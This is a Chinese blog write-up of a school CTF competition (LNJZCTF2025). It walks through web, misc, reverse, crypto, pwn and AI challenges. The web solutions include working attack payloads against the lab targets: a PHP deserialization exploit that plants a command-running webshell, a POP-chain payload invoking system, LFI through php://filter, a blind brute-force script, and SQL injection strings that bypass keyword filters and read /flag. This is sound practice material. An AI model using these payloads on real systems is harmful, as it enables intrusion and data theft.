CTF笔记

LNJZCTF2025 WriteUp

2025-04-01
6 分钟1149 字

前言

本次参加了学校的信息安全比赛,我也出了几道题,接下来分享一下WP

Web

签到

打开场景

我们直接拿御剑扫一下网站目录

我们访问一下

目录有了,访问

右键或者F12查看源代码

找到了,base64解码即可获得flag

小猫

打开场景

我们用Burpsuite抓包,改一下X-Forwarded-For头

发现都是mew和Mew,解码一下,mew是0,Mew是1

我们直接替换一下

使用脚本如下

a = ["01100110","01101100","01100001","01100111","01111011","01010100","01100101","01110011","01110100","01010100","01100101","01100001","01101101","01001000","01100001","01110011","01101000","01111101"]
#替换成自己的编码
b = ""
for i in a:
    c = int(i,2)
    b += chr(c)
print(b)

运行,获得flag

当然,也可以转换之后拿在线工具解码,都是一样的

Bool

打开场景

我们尝试输入

没啥好说的,写脚本爆破吧

from bs4 import BeautifulSoup
import requests
 
url = "http://192.168.25.227:32807/"#填写你的网址
flag = ""
 
for i in range(30): #flag长度,短了可能搞不全
    for j in range(32,127):
        test = flag + chr(j)
        data = {"flag":test}
        html = requests.post(url,data=data)
        soup = BeautifulSoup(html.text, "html.parser")
        a = soup.find("p").text
        if a == "True":
            flag += chr(j)
            break
    print(flag)

运行脚本

弱比较

按f12查看代码

很经典的弱比较,我们直接构造URL

PS.这道题其实是我用python的flask写的,不知道为啥我构造的php容器本地跑没问题,在平台上就是跑不了,后来在python上模拟的php弱比较,但是返回的还是php代码 :D

F12

这题没什么好说的,直接按F12就能得到flag,算是签到题

F12Pro

禁止了F12,搜一下,按Ctrl+Shift+i也能进入视图,直接得到flag

笨蛋总是掉眼泪

有一个超链接,点一下

没有flag,但是有file协议,我们可以尝试用filter协议读取一下index.php

解码出来有乱码,我找网站恢复了一下,内容如下

<meta charset="utf8">
<?php
// 关闭错误报告
error_reporting(0);
//以get方式传参
$file = $_GET["file"];
//stristr() 函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。
//一下if语句过滤了"php://input" 、 "zip://" 、 "phar://" 、 "data:"
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

我们再读取一下flag.php

解码出来,获得flag

签到1

打砖块,打完也会给,我们直接翻一下代码

访问这个网页,并且提交数据:win=true

闯关

三道关卡,第一个是弱比较,第二个要post admin=true,第三个要保存一个cookie user:admin

羊了个羊(王者版)

我们直接看代码里面的获胜条件

看起来我们需要删除所有元素,然后调用setTimeout的内容就能得到flag

直接在控制台输入下面代码

// 删除所有商品
document.querySelectorAll('.goods').forEach(e => e.remove());
 
// 等待300毫秒后触发胜利流程(模拟原逻辑)
setTimeout(() => {
    const str = difficult ? '困难模式' : '';
    const levelRecord = difficult ? 'king_difficult_level_record' : 'king_level_record';
    gameFinish(`恭喜你通过了${str}${selectLevel.innerText}\n用时${chronoscopeNum}秒`, 'audio/胜利2.mp3');
    const userInput = selectLevel.innerText;
    const xhr = new XMLHttpRequest();
    xhr.open('POST', '/ht.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onload = () => {
        if (xhr.status === 200) {    
            const response = JSON.parse(xhr.responseText);
            window.alert(response['message']);
        } else {
            console.error(`Request failed. Status code: ${xhr.status}`);
        }
    };
    xhr.onerror = () => {
        console.error('Error occurred during the request.');
    };
    xhr.send(`user-input=${encodeURIComponent(userInput)}`);
    const levelRecordArr = JSON.parse(localStorage.getItem(levelRecord));
    levelRecordArr[selectLevel.getAttribute('index')]++;
    localStorage.setItem(levelRecord, JSON.stringify(levelRecordArr));
}, 300);

回车执行,得到flag

这道题的正常解法其实是在第十关的时候,用Burpsuite抓包,里面也可以改包获胜

PHP

代码如下

<?php
error_reporting(0);
 
class Logger {
    public $log_file;
    
    function __wakeup() {
        if (strpos($this->log_file, 'php://') !== false) {
            die("Hacking attempt detected!");
        }
    }
 
    function __destruct() {
        if ($this->log_file) {
            file_put_contents($this->log_file, "Logged by admin!\n", FILE_APPEND);
        }
    }
}
 
class Admin {
    private $is_admin = false;
    private $log;
 
    function __construct() {
        $this->log = new Logger();
    }
 
    function __wakeup() {
        if ($this->is_admin !== true) {
            die("Unauthorized access!");
        }
    }
 
    function do_something() {
        if ($this->is_admin) {
            echo "Welcome, Admin!\n";
            system("cat /flag.txt");
        } else {
            echo "Permission denied!\n";
        }
    }
}
 
if (isset($_GET['data'])) {
    $data = base64_decode($_GET['data']);
    $obj = unserialize($data);
    
    if ($obj instanceof Admin) {
        $obj->do_something();
    } else {
        echo "Invalid object!";
    }
} else {
    highlight_file(__FILE__);
}
?>

有以下几点:

绕过Admin的__wakeup,让is_admin=true

触发Logger的__destruct(在对象销毁时调用)

如果我们能控制 $log_file 指向 /var/www/html/shell.php ,并写入 PHP 代码 <?php system($_GET['cmd']); ?> ,就能 RCE

构造序列化对象

  1. Admin 对象:

    • is_admin = true 绕过 __wakeup()
    • log 指向一个 Logger 对象
  2. Logger 对象:

    • log_file = "/var/www/html/shell.php"
    • __destruct() 写入 WebShell

代码部分

<?php
class Logger {
    public $log_file = "/var/www/html/shell.php";
}
 
class Admin {
    public $is_admin = true; // 必须是布尔值
    public $log;
}
 
// 构造对象
$payload = new Admin();
$payload->log = new Logger();
 
// 生成序列化数据
$exploit = base64_encode(serialize($payload));
echo "Exploit: " . $exploit . "\n";
?>

传入序列化后的数据即可获取flag

别踩白块

这道题很简单,我们翻代码就能看见了

这里会加载f.php这个网页,我们直接访问即可得到flag

POPgadget

打开场景,显示的php代码如下

<?php
 
    highlight_file(__FILE__);
    class Fun{
        private $func = 'call_user_func_array';
        public function __call($f,$p){
            call_user_func($this->func,$f,$p);
        }
    }
 
    class Test{
        public function __call($f,$p){
            echo getenv("FLAG");
        }
        public function __wakeup(){
            echo "serialize me?";
        }
    }
 
    class A {
        public $a;
        public function __get($p){
            if(preg_match("/Test/",get_class($this->a))){
                return "No test in Prod\n";
            }
            return $this->a->$p();
        }
    }
 
    class B {
        public $p;
        public function __destruct(){
            $p = $this->p;
            echo $this->a->$p;
        }
    }
 
    if(isset($_REQUEST['begin'])){
        unserialize($_REQUEST['begin']);
    }
 
?>

其中,begin是我们要传参的入口

if(isset($_REQUEST['begin'])){
        unserialize($_REQUEST['begin']);
    }

然后从下往上看,类B,会以字符串p作为访问a的方法名(访问a中的p方法)

$p = $this->p;
echo $this->a->$p;

类A,判断如果当前类名包含Test,就返回No test in Prod

public function __get($p){
    if(preg_match("/Test/",get_class($this->a))){
        return "No test in Prod\n";
    }
    return $this->a->$p();
}

类Fun,其中,call_user_func会调用名为 call_user_func_array 的函数,并将 $f (不存在的方法名)和 $p (参数列表)作为参数传递给它。 由于 $p 已经是一个数组(p最初被定义为一个字符串,但是在__call传参的时候会将传入的参数整理成一个数组), call_user_func_array 会将其作为参数列表展开传递给 $f

private $func = 'call_user_func_array';
        public function __call($f,$p){
            call_user_func($this->func,$f,$p);
        }

类Test,里面有echo FLAG,看上去是返回flag的,但是实际上会在类A中被过滤,所以这里我们是用不上的

里面有几种魔术方法

  • __wakeup() :在反序列化过程中调用,可以在对象生成后立即执行代码。
  • __destruct() :在对象销毁时调用,经常作为触发链条的最后一步。
  • __get() :当访问未定义或不可见的属性时调用,可以用来间接调用其它对象的方法。
  • __call() :当调用不存在的方法时触发,这里可以借助函数回调执行任意函数

我们先将用到的这几个类和变量定义出来

class Fun {
    public $func;
}
 
class A {
    public $a;
}
 
class B {
    public $p;
    public $a;
}

我们需要在Fun类里面,在call_user_func方法执行system命令获取env(环境变量),所以我们要设置func为system

$fun = new Fun();
$fun->func = "system";

之后,我们用a指向fun类,来调用里面的__call(传入的值不存在)

$a = new A();
$a->a = $fun;

然后,我们把B类中的值p赋值上env(Linux/Unix中查看环境变量的命令,Windows是set)

$b = new B();
$b->p = "env";
$b->a = $a;

最后,我们再调用序列化方法即可

echo serialize($b);

整个代码结构如下

<?php
class Fun {
    public $func;
}
 
class A {
    public $a;
}
 
class B {
    public $p;
    public $a;
}
 
// 构造对象链
$fun = new Fun();
$fun->func = "system";  // Fun->func 为 "system"
 
$a = new A();
$a->a = $fun;  // A->a 指向 Fun 对象
 
$b = new B();
$b->p = "env"; // B->p 为 "env"
$b->a = $a;    // B->a 指向 A 对象
 
echo serialize($b);

大家找个PHP在线工具运行即可得到序列化后的数据

之后我们给begin传参即可得到flag

/?begin=O:1:"B":2:{s:1:"p";s:3:"env";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}}

SQL

这道题是考SQL注入的,过滤了空格和一些关键字(比如select、or、from、load等),大家看执行的代码即可知道哪里没执行了,对于空格,可以用/**/代替,关键字过滤可以双写绕过,如OORR

flag有三段,这里把代码给大家分享出来

1'/**/UNION/**/SESELECTLECT/**/flag/**/FRFROMOM/**/secret.passwoorrd/**/#

1'/**/UNION/**/SESELECTLECT/**/grade/**/FRFROMOM/**/scoorre/**/#

1'/**/UNION/**/SELSELECTECT/**/LOLOADAD_FILE('/flag')/**/#

拼接即可得到flag


Misc

这道题我们打开发现里面有一堆[C[D的代码

其实这是控制台的控制符,我们直接右键在控制台打开这个文件夹,然后cat这个文件即可拿到flag

BigBanana

用Audacity打开,我们查找一下特殊的地方

在最前面有一小段不正常的(直接拖条可能拖不到,按箭头过去)

我们放大看看

提示是打电报,所以这个可能是摩斯密码,我们把下算作0,上算作1,平是分隔符

最后解码出来为:0100 10 0111 1100 111000 0010 0100 01 110 1111011 1010 010 001101 110 1001 1011 1111101

其中,%u7b和%u7d是url编码的{}

所以,flag是LNJZ:FLAG{CR_GXY}

鸡年大吉

打开图片,是一张日历,没找到什么有用的信息,我们用010Editor打开寻找有没有什么特殊的

好像是base64,但是应该替换了数据,我这里是直接扔给GPT出的答案

最后里面的内容解密是I_like_qiao!,我们包上flag,提交成功

小八

打开音频,是一段音乐和摩斯密码的电报音(打开的时候差点当场去世)

听起来很困难,我找了一个声音分离的软件,第一步先分离了人声,第二部分离了音响合成器,现在听起来更方便了,我们尝试解码

..-. .-.. .- –. –.. . -. –. ..–.- - .- — ..–.- .-. .- -. ..–.- –.. …. . -. ..–.- … …. ..- .- ..

没研究过这东西听着会很费劲,可以拿软件搞定,我们解码一下

嗯,我们包上括号,提交:flag{zeng_tao_ran_zhen_shuai}

彩蛋来咯

一部分在公告里(base64加密),下面的呜嗷啊(兽音译者编码)右上角摩斯密码,签到的题目提示里(我扔的随波逐流,是UUencode编码),解密然后合并在一起即可,结果是LNJZ::flag{辽建No.1_tianxiadiyi}

exe

我们将后缀名改为.exe可执行文件,之后直接运行,输入exe即可得到flag

64+18=92?

打开文本

看上去类似Base64编码,发现最后一段=号,就是base64

根据题目提示,今年64,18年后92,其实是进行18次base64加密后,再进行base92加密,现在我们尝试解密,先进行18次base64然后进行base92解密

c4

打开文本,显示一堆类似\u00XX的字符,这是Unicode转义,我们直接写脚本解即可

这里需要解密两次

s = "内容"
decoded = bytes(s, "utf-8").decode("unicode_escape")
print(decoded)

时间刺客

给了几张图片,用010Editor翻了翻,最后在3.jpg这个文件的最后面发现了真正的flag

把里面内容解码

拼接flag,ljflag{20150609},提交,正确

霓虹王

一张图片,经过尝试,应该是盲水印,我们提取一下

flag是LNJZ::flag{会飞的霓虹王}

⚪P

打开是两张图片

这张上的flag是假的,我们需要注意看右面的图层,把背景隐藏或者涂色能看见显示了shen_,还有两个被隐藏了,有几个图层的不透明度被设置为0了,我们还原一下

照理说flag应该是Flag{Yuan_shen_qidong}

但是他这个文本提示不是启动,其实是卸载,所以flag是Flag{Yuan_shen_xiezai}

提交后发现不对,我们再找找,,,最后在路径面板发现了qi_

所以flag是Flag{Yuan_shen_qi_xiezai}

救赎之道,就在其中

得到被加密的压缩包,解压密码其实就是题目描述里面,诗的前两句的Base64加密

5LqM6LeD5pif5rW35YyW6Zu25LiALCDlha3lkIjnu4/nuqzoh6rmiJDosJzjgII=

这里我们要用7zip解压,千万不要用WinRAR解压,解不出来(血的教训)

拿到的文件是.pcap,我以为是流量分析,但是其实并不是,我们用010Editor打开看看

进来一眼就看到了,这是GIF图啊,并且这个文件头有错误(做文件上传的经验啊)

改成GIF89a就正确了,我们随便找个gif图编辑工具打开看看

这里藏了个码,注意这里的码不是二维码,扫不出来的,是汉信码,我们在网上找个工具扫描一下即可得到flag

看图说话

我们得到了一张图片,提示应该是一句古诗,我们识别一下图片

注意看图片下面,有经纬度,我查找了一下位置(30°39'26"N 117°30'51"E),是池州平天湖

后来尝试了一些诗,发现flag是LNJZ::flag{水如一匹练,此地即平天}

ck

这道题和下面的ck2是我朋友出的,我也是一边学一边解的

下载附件,我们用010Editor打开看看

文件头是504B0304,所以这其实是个.zip压缩文件,我们改下后缀名然后解压出来

这里卡了,朋友提示,第一个压缩包的名字San francisco.,结合这个文件名,这其实是思科模拟器的文件(思科名字取自旧金山或者大家要是了解这个文件头也能推测出来),将其后缀名改成.pka,然后用思科模拟器打开文件

我们输入en进入特权模式

如果没有出现Switch就按回车

然后我们使用下面命令显示当前设备的 VLAN(虚拟局域网)信息

show vlan

我们看到了FLAG,按照后面的端口号,可以排序成24,11,12,13,4,2,3,4,5,6,7,8,9,10,20,21,22

接下来,大家可能不知道怎么办,注意看其中的NO_1和NO_2,前面的id,其实提示我们要先进行base64加密,然后再进行base92加密

包上flag{},即可提交

ck2

有三层压缩, 我们用7z直接打开解压出来(三遍啊三遍)

得到sk~,改后缀名为.pka,用思科模拟器打开

按Ctrl+滚轮缩放,将所有的点都放在一起,按照这样排列

之后的太难了,我没接触过,还是在我朋友的提示下做的

我们可以用show vlan命令查看他们的虚拟网信息,挨个看看

L是1(看另外三个主机IP是2,3,4)

注意这个G是千兆的的,所以是G1和G2

现在我们有 11121314151617181920_1_24_G1G2

下面是正确连线

这些还不够,还需要找到缺失的两条命令,我们发现SA有问题,Vlan1被手动关掉了

我们需要输入以下命令修改

conf    # 进入全局配置模式
int vlan1    # 进入 Vlan1 接口配置模式
no shutdown    # 启用 Vlan1 逻辑接口

当然,如果你想让他能正常工作,还需要给他分配ip地址,但是我们不需要,知道缺失的命令即可

现在用exit退出配置模式,再次查看一下端口

成功了,接下来是另一个,三层交换机,我们先输入en进入管理模式,然后再进入配置模式

我们需要用ip routing命令启用ip路由命令,以实现不同vlan之间可以相互通讯

所以两条命令是ip_routing和no shutdown

把所有的拼接在一起,不对,原来,题目提示里面的难度+并不只是说难度增加,其实这意思flag的一部分(太抽象了)

所以flag是:flag{nandu+ip_routing_no_shutdown_11121314151617181920_1_24_G1G2}


Forensics

see see

flag有三部分,软件名、flag、被篡改的序列号

软件名没什么好说的,涉及到流量分析自然是wireshark

flag,大家可以用010Editor打开,看最后一段

解一下码就能拿到了

最后便是序列号了,我们需要在WireShark中找到被篡改的序列号,就是这里(我当时没明白啥意思)

最后拼接flag:LNJZ::flag{wireshark_lin_xuan_yu_zhehen_shuai_2177}或者1091


Reverse

签到

直接用IDA打开,就能看到flag

迷宫

先查壳

我们用UPX工具脱壳

现在可以用IDA打开了

flag等于玩家输入数据的md5加密值,再找找

wsad,这是判断移动啊,下面还有判断两个值是否大于9,其中,下面这行代码代表着二维数组的访问

v4 = dword_403020[10 * v1 + v2];

然后是判断v4是否等于四,没跑了,这是个10*10的二维数组制作的迷宫,我们再找一下

这就是二维数组的值了,我们按 Shift+E 提取出来,按照我的设置即可

提取出来后,我们按照10*10进行排列,这里我把地图画出来了,大家可以看(白色是0,黑色是1,红色是3,绿色是4,),多出来四个0没啥用,我给去掉了

我们按照路从起点到终点走一遍即可得到下面的的字符串

dddssaassassdddwwdwdwwwddsddssaassddssssaawwaassaawaaas

进行md5编码,然后拼接flag

LNJZ::flag{12cbff29cf84ce71a3687e5d87112076}

crypto

使用IDA打开

很明显,先进行rc4加密,然后进行xor异或

查看函数,发现是与123进行的异或

我们有了加密后的数据,还需要找到rc4的密钥

很明显的key,点进去看看

很好,现在我们有了密钥,写脚本解密吧

from Crypto.Cipher import ARC4
 
a = "cbd39d7278a3de82d1e0d8ea687849e0f31182"
c = "byGuoXiaoYao"
 
b = bytearray()
for i in range(0, len(a), 2):
    hex_value = int(a[i:i+2], 16)
    b.append(hex_value ^ 123) 
 
flag = ARC4.new(c.encode("utf-8")).decrypt(bytes(b)).decode(errors="ignore")
print(flag)

运行脚本,获得flag

momo^_^

这道题是0CTF2016的momo_3,链接: GitHub - 0CTF2016/momo

因为里面用到了mov混淆,所以静态分析会很困难,需要用到动态分析,我这方面还不是很在行,大家可以看看链接的WP


Crypto

那你能帮帮小明么

下载文档

这道题我直接扔ai跑的,这是RSA加密

  • n 是 RSA 公钥模数。
  • e 是 RSA 公钥指数。
  • c 是密文

解密脚本如下

from sympy import mod_inverse
from Crypto.Util.number import long_to_bytes
import gmpy2
 
n = 21507386633439519550169998646896627263990342978145866337442653437291500212804540039826669967421406761783804525632864075787433199834243745244830254423626433057121784913173342863755047712719972310827106310978325541157116399004997956022957497614561358547338887866829687642469922480325337783646738698964794799137629074290136943475809453339879850896418933264952741717996251598299033247598332283374311388548417533241578128405412876297518744631221434811566527970724653020096586968674253730535704100196440896139791213814925799933321426996992353761056678153980682453131865332141631387947508055668987573690117314953760510812159
e = 3
c = 6723702102195566573155033480869753489283107574855029844328060266358539778148984297827300182772738267875181687326892460074882512254133616280539109646843128644207390959955541800567609034853
 
m = gmpy2.iroot(c, e)[0]  # 计算 c^(1/3)
plaintext = long_to_bytes(m)  # 转换为字节流
 
print("解密后的明文:", plaintext.decode(errors='ignore'))

直接提交是错误的,我们需要在前面加上LNJZ::才是正确的flag

KS

就像题目名字一样,凯撒加密,随便试几个数就出来了

enc

这道题其实是网上的原题,这里我就不献丑了,毕竟咱不太擅长密码,这里给大家指个链接

2024 鹏城杯-crypto 部分wp

转轮王

我不太懂密码啊,这里我扔给GPT跑的,跑了好几遍,这里直接贴代码

def main():
    # 定义 14 个转轮(每个转轮均为 26 个大写字母组成的字符串)
    wheels = [
        "ZWAXJGDLUBVIQHKYPNTCRMOSFE",
        "KPBELNACZDTRXMJQOYHGVSFUWI",
        "BDMAIZVRNSJUWFHTEQGYXPLOCK",
        "RPLNDVHGFCUKTEBSXQYIZMJWAO",
        "IHFRLABEUOTSGJVDKCPMNZQWXY",
        "AMKGHIWPNYCJBFZDRUSLOQXVET",
        "GWTHSPYBXIZULVKMRAFDCEONJQ",
        "NOZUTWDCVRJLXKISEFAPMYGHBQ",
        "QWATDSRFHENYVUBMCOIKZGJXPL",
        "WABMCXPLTDSRJQZGOIKFHENYVU",
        "XPLTDAOIKFZGHENYSRUBMCQWVJ",
        "TDSWAYXPLVUBOIKZGJRFHENMCQ",
        "BMCSRFHLTDENQWAOXPYVUIKZGJ",
        "XPHKZGJTDSENYVUBMLAOIRFCQW"
    ]
 
    # 密钥序列(转轮重排顺序,转轮编号从 1 开始)
    key = [3, 2, 1, 5, 6, 4, 9, 7, 8, 12, 11, 13, 10, 14]
 
    # 根据密钥重排转轮
    wheels_reordered = [wheels[k - 1] for k in key]
 
    # 密文字符串(每个字母对应一个转轮)
    ciphertext = "BCHTSXWCRQSELG"
 
    # 解密:对于每个重排后的转轮,找到密文中字母在该转轮中的索引,
    # 然后明文字母取该转轮中索引位置 (index - 23) mod 26 的字母
    offset = 23  # 根据推导得到的偏移量
    plaintext = ""
    for i, wheel in enumerate(wheels_reordered):
        c = ciphertext[i]
        try:
            pos_c = wheel.index(c)
        except ValueError:
            print(f"Error: 字母 {c} 不在转轮 {i + 1} 中。")
            continue
        pos_p = (pos_c - offset) % 26
        p = wheel[pos_p]
        plaintext += p.lower()  # 转为小写,与目标结果一致
 
    print("解密结果:", plaintext)
 
 
if __name__ == '__main__':
    main()

解密结果: atpjqidnxsbwsd

我们包上LNJZ::flag{}即可


Pwn

pwnsingin

我们直接用nc工具连接,然后查看文件即可得到flag

Ubuntu-env

用nc工具连接服务器,提示要输入名字,输入错误,提示不是admin

再次连接,输入admin,成功进入,我们查看一下文件

这个flag是假的,看提示和题目名字,我们可以知道flag应该在环境变量里面,我们查看环境变量

得到flag:flag{240a11dc-74f4-44ae-8e4a-e1a9b1f5c42e}


AI

磊同学

打开是一个聊天程序

提示有PyInstaller,逆向他,先查壳确认一下

确实是PyIntaller打包的,我们给他解包

我们翻一下文件,最后在Ai文件里面找到了flag

PS:后来问了出题的朋友,这道题只要按次序输入2 2 flag y 10就能得到flag了 :D

许可协议: CC BY-SA 4.0 。转载请注明出处,允许商用;改编/转载须以相同许可(CC BY-SA 4.0)发布。如有问题请联系我。